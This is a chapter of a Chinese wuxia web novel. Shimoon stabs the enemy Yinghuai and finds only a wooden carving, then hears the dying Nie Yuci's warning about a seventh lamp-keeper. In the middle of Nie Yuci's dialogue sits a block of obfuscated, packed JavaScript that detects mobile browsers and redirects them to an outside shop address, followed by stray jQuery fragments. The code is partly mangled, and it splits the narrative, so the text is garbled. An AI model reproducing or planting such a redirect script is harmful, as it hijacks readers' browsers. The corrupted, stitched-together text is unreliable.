“你已經殺了她麼?”
瀛淮沒有答複她。
弑月已無法再忍受,無法再退縮,手中的劍柄如她的心臟一般滾燙,一般憤怒。
她提劍,用儘畢生所學,拚儘全身的力氣,猛然刺向瀛淮。
瀛淮仍未動,凝血劍貫穿了她乾枯的身體,卻沒有一絲血跡流下。
弑月難以置信地望著一副軀體,這根本不是人,不是肉身。
這本來就真的隻是一具木雕。
弑月的手似乎已被震驚麻痹,半晌忘記將劍拔出,等終於反應過來,緩緩拔出長劍,原來這整副身體全是檀木做成。
怎麼可能?明明見過她的活動,她的說話,她僅僅是對視就能蠱惑自己,僅僅是輕點手指就能降伏眾人,一具木雕,怎麼可能?
這人不是人,這是她腦子中剩下唯一一個念頭,不是人。
那能是什麼?
忽然身後傳來一個微弱的聲。
她猛然回頭,循聲找去,竟看見聶予慈躺在地上,周身並無一絲血跡,卻可以清晰地感受到她的生命行將枯竭。
“你還好吧?”弑月忙上前抱起她。
“啊,是你。”聶予慈露出一個滿足的笑容,“我就知道你入河後也會活著回來。”
“你......其實不必為了我......”弑月低下頭,堪堪忍住淚水。
“不,不僅是為了你,也是為了我自己,這是我早就想做的事,
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150355|131553||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
我現在了無遺憾。”她的聲音越來越遠,弑月驚慌失措,忙從懷中掏出一瓶藥水喂下去,但藥水隻順著她的嘴角淌下,混雜著弑月的淚水。
“聽著,我活不了了,但你要記住,方才你們見到的瀛淮身體,隻是一具木雕,你們今後如果在遇見她,大概率還是木雕,在南海,她有成百上千的雕塑,沒錯,她已經到達這樣的境界,連我也無法確定你們有一絲勝算......”
“但是,瀛淮並未沒有弱點,遇見她,不要害怕,她不是神,仍然隻是凡人,她也無法成為神。”
“為什麼?”
“......你知道她的名字麼?”
“瀛淮?是麼?”
“對,看來她方才已蠱惑你,你萬萬不能屈服。”聶予慈的聲音愈加嘶啞,“當初在昆侖山,煙羅縷宮對戰誅天教後,損失了三名掌燈使,一位是押送你們來的能夠操縱屍卒那一位,一個就是我,修習讀心,但我一直沒有讓她滿意,剩下還有一位,預言,已經很久沒有找到有天資擔任這一位的人選,所以,她看中了你。”聶予慈猛然伸手,抓住弑月的手。
“我?”
“對,她想要你做她的預言掌燈使。七名掌燈使一直殘缺不全,所以她的修行也止步不前,此行她離開南海,就是要帶走你,和阿底提之經。”
“她修行是為了什麼?”
“成神。”聶予慈眼眸一閃,猶如回光返照。
弑月無法掩蓋自己的驚訝,不由自主的低語:“不,這不可能。”
“對凡人而言的確不可能,但她不一樣,她已經修行了快五百年。”
“什麼?”弑月幾乎是喊出來,雙臂止不住地顫抖,幾乎托不住聶予慈的身體。
“對,五百年,不必驚訝,她不是神,至少現在仍不是。我還有最重要的事告訴你,你千萬記好,我已說過她成不了神,因為神不允許。記住她的弱點,就是找到第七位掌燈使。”
“第七位?她在哪裡?”
“我不知道,我從未見過,沒有人知道她在哪,沒有人見過她,除了瀛淮本人。”
“那我怎麼可能找到她?”
聶予慈望著弑月,目光逐漸黯淡,緩緩搖頭,似乎在否定自己的一生,她的生命已徹底枯竭,連淚水都無法落下。
終於,她垂下手。
弑月望著已經離世的聶予慈,想到初遇時她光彩照人的模樣,心如刀絞,此刻,她隻能感受到,溫暖如生命一般,也在逐漸離她遠去。
遠處,傳來隱俠的呼喚:“快走。”
獨孤河已奔向她身邊,見到聶予慈的屍體,麵色一驚,繼而神情複雜,似是惋惜又似是慶幸,他柔聲道:“走吧。”
把她一個人留在這裡麼?弑月忽然感到一陣巨大的恐慌,不能把她一個人留在這裡。
“不,她,在這裡,一個人。”她的聲音已聽不出是自己的聲音,甚至她已快忘記如何說出一句完整的話。
獨孤河欲言又止,但隱俠已數次催促,自己也擔憂再停留必然夜長夢多,隻能咬牙道:“必須馬上找到虛破和沉瑟。”
弑月木訥地鬆開手,聶予慈滾落到一邊,了無生氣。
獨孤河將弑月連拖帶拽箭步離開。